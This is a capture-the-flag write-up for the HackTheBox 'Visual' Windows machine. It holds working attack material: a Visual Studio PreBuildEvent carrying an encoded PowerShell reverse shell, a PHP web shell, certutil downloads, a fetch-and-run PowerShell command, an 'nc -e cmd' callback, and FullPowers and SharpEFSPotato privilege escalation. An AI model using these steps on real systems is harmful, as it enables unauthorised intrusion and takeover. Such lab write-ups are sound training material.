Post

Visual - HTB Writeup

Machine Overview

Visual was ranked as a medium Windows Server 2019 machine, which involves abusing the PreBuildEvent and PostBuildEvent features of Visual Studio. These features are vulnerable to command injection which will be used to gain shell as Enox user. For root access, we discovered that the htdocs folder has permissions that allow the user Enox to create and execute code. We abused this permission to elevate privileges to the nt authority\local service account through the web browser. Then, we used FullPowers.exe to regain our permissions. With SeImpersonate privileges on our local service account, we performed a Potato attack. We ran SharpEFSPotato.exe, which impersonates our user’s privilege with the privileges of the admin account. Finally, we obtained root access on the machine.

Pasted image 20240224215224

User

Scanning through Nmap

First, we’ll use Nmap to scan the whole network and find out what services are running. With the -p- option, we can check all 65535 ports, and by adding –min-rate 10000, we can make the scan faster. After running Nmap, we’ll have a list of open ports on the network, and we’ll use tools like cut and tr to filter out only the open ones.

1
2
$ nmap -p- --min-rate 10000 10.10.11.234 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
80

Now let’s run a detailed scan on these specific ports using…

1
$ nmap -p80 -sC -sV -A -T4 10.10.11.234 -oN scan.txt
  • -sC is to run all the default scripts
  • -sV for service and version detection
  • -A to check all default things
  • -T4 for aggressive scan
  • -oN to write the result into a specified file
Nmap scan report for 10.10.11.234 (10.10.11.234)
Host is up (0.28s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual Revolutionizing Visual Studio Builds

We found that the server is running Apache 2.4.56 and PHP 8.1.17. Let’s explore what’s on port 80. Essentially, the server fetches a GitHub repository link containing a .sln file, which is a solution file used to organize a project. Visual Studio then processes and builds the project for us. Currently, it supports .NET 6.0 and C#. To exploit this, we need to install the .NET 6.0 version on our machine to create a project.

After some research, I discovered that we can exploit the built-in features of Visual Studio, specifically the PreBuildEvents and PostBuildEvents, for remote code execution. These features run PowerShell commands directly, allowing an attacker to perform actions such as NTLM theft or gain remote code execution (RCE). You can learn more about it here. Here’s the vulnerable functionality we can exploit to gain initial access

1
2
3
4
5
6
7
8
9
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>"<Our shell Here>"</PreBuildEvent>
  </PropertyGroup>
</Project>

Since the machine lacks internet access, we’ll host the exploit locally on our own server. To make our exploit successful, we need three things:

  • A .NET project
  • Git Repo of that project
  • Hosting the repository on our local server, such as Apache or Nginx. A Python server won’t work; I’ve tried it before. Let’s begin with the .NET project. Don’t worry; you can learn how to set it up here Just ensure to create the project using version 6.0, not 7.0.
1
2
3
4
5
$ dotnet new console -o MyApp -f net6.0
$ cd MyApp

# to check if it created successfully run 
$ dotnet run

Pasted image 20240224191329

Our project has been successfully created. Let’s move into the project directory and run dotnet new sln and, after that, dotnet sln add MyApp.csproj because we also need to add a.sln file to it. To get shell, we need to put our revshell code into the MyApp.csproj file in between <PreBuildEvent>"Shell here"</PreBuildEvent>. You can use the best website called Revshells.com for it. We will use the PowerShell base64 shell here.

1
2
$ dotnet new sln
$ dotnet sln add MyApp.csproj
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# MyApp.csproj
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
    <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
        <Exec Command="powershell -e  JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"/>
    </Target>

</Project>

Now, Lets create a git repository in our current directory and add all the files in it using commands:

1
2
3
4
5
$ git init
$ git add .
$ git commit -m 'Initial'
$ git clone --bare MyApp proj.git
$ touch proj.git/git-daemon-export-ok

Pasted image 20240224203312

Now, let’s make the project public via an HTTP server. You can learn more about this process here and here.

First, clone our repository as a bare git project. Then, create a git-daemon-export-ok file in the proj.git directory. Next, move this repository to the server. If you’re using an Apache Server like me, place it in the /var/www/html folder.

In the proj.git folder, update the server info by running git --bare update-server-info. Also, ensure that you rename the post-update.sample file to post-update in the hooks folder. Now, our project is ready to be accessed via the HTTP server

1
2
3
4
$ sudo mv proj.git /var/www/html
$ cd proj.git
$ git --bare update-server-info
$ mv hooks/post-update.sample hooks/post-update

Pasted image 20240224203402

Start a listener on your machine.

1
sudo nc -lvnp 445
  • -l for listen mode
  • -v for verbosity
  • -n for name resolution
  • -p for specifying the local port number

Paste your git URL into the web browser so that it retrieves files from our Git repository and builds a program for us.

Pasted image 20240224204423

Let’s run it and check what happens. It is building the project for us.

Pasted image 20240205205721

Within no time, we got a reverse shell back on our netcat listener.

Pasted image 20240224211236

And our user flag is present in the user enox desktop folder.

Pasted image 20240224211324

Privilege Escalation

Let’s check what privileges we have as a logged-in user account using whoami /priv.

Screenshot from 2023-10-13 13-00-33

We didn’t find any interesting things there. Let’s run icacls to check folder permissions to see if we have any useful folders or files. We found a folder named htdocs in the xampp directory that has all the permissions. The last (F) denotes that everyone has full access to this folder.

Pasted image 20240224211524

Let’s create a simple shell.php file that includes a cmd command.

1
<?php system($_GET['cmd']); ?>

Now upload it on the machine using certutil. Certutil is a tool used to manage certificates in Windows. We can use it to download files on the machine using

1
certutil.exe -urlcache -f http://10.10.16.3:8000/shell.php'

First, run a Python server on your local machine using

1
python3 -m http.server 8000

Pasted image 20240224211728

Now, upload it to the machine using

1
certutil.exe -urlcache -f http://10.10.14.59:8081/shell.php

Pasted image 20240224211801

We have our shel.php file on our machine; let’s access it on the web browser, and here we have a nt authority\local service account.

Pasted image 20240224211831

Let’s try to get a shell as a nt authority\local service account because with that user, we can get more permissions in the network. To get a stable and fully interactive shell on Windows, we will use the “conptyshell.” Since echo is enabled on Windows by default, we need to run

1
stty raw -echo; (stty size; cat) | nc -lvnp 3001

To get the interactive shell, which is described in the Description portion of ConPtyShell, you can learn more about it here. First, clone it to your local system and start a listener there and set

1
she.php?cmd=powershell.exe  -nop -ep bypass -c "IEX(IWR http://10.10.16.3:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.3 3001"

After IP to get executed. Basically, it is getting ConPtyShell from our machine, running it, and trying to connect to our new listener, which is running on the 3001 local port.

Pasted image 20240224212231

All set, let’s run this and we got a shell back as a nt authority\ local service user.

Pasted image 20240224213017

Now we have a local service account with limited permissions, but there is a vulnerability that uses the task scheduler to regain all permissions because local service accounts have permissions to create their own tasks or schedule them, which will help us regain all our permissions. You can learn about how it works here. For this, we will use a tool called FullPowers.exe, which is an automated way to regain permissions using the task scheduler. Download it from GitHub and then transfer it to the machine using the same method we used to transfer the shel.php file, using Certutils. We will use example 3 from FullPowers GitHub repo, which you can get from here. Let’s move it to the target machine.

Pasted image 20240224212523

Pasted image 20240224212712

Now we have both FullPowers.exe and nc64.exe on the machine. Let’s run a listener and execute FullPowers.exe using the following command:

1
.\full -c "C:\Users\Public\nc.exe 10.10.16.3 9001 -e cmd" -z

Pasted image 20240224212858

And we got a shell back

Pasted image 20240224213124

Now we have all of the permissions back.

Pasted image 20240224213058

Now that we have the SeImpersonatePrivilege enabled, we can execute the Potato Attack to impersonate admin permissions. Since the target machine is running Windows Server 2019, we can utilize SharpEFSPotato to read files from the admin account. SharpPotato utilizes EfsRpc to access files from the admin account using the Encrypting File System Remote (EFSRPC) Protocol, which facilitates maintenance and management operations on encrypted data stored remotely and accessed over a network.

Pasted image 20240224213254

Let’s download it and transfer it to the target machine using certutil.exe. It utilizes PowerShell to read and store files. We’ll use Get-Content and Set-Content PowerShell commands to read a file from the admin account and write it to the specified destination. For this, we will use the following command:

1
.\sha.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "Get-Content C:\Users\Administrator\Desktop\root.txt | Set-Content C:\Users\Public\b.log"

Pasted image 20240224214126

We got root flag.

Flags

User : d2d043b4fa9b50….3a1b5456e130f7

Root : 09dd526550b2….02a8af13d8316354

Happy Hacking :)

This post is licensed under CC BY 4.0 by the author.